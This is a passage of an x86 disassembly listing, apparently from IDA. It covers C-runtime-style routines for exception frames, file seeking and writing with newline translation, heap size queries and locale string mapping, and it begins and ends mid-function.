		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE74
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: .packed:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: .packed:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: .packed:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D444
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: .packed:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: .packed:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: .packed:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD388
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD384
		call	dword_42704C	; RtlSizeHeap


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: sub_41DA8B+67p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD140
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDDC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	dword_427128	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		call	dword_427094	; RtlGetLastWin32Error
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: sub_41DA8B+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD040[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDDC, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD140
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4270F0	; WriteFile
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		call	dword_427094	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_4270F0	; WriteFile
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		call	dword_427094	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDDC, 1Ch
		mov	dword_4DBDE0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE78, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_427044	; LCMapStringW
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE78, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB88C
		push	esi
		push	edi
		call	dword_427048	; LCMapStringA
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE78, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE78
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427048	; LCMapStringA
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_4270E8	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_4270E8	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427044	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427044	; LCMapStringW
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427044	; LCMapStringW
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_427188	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
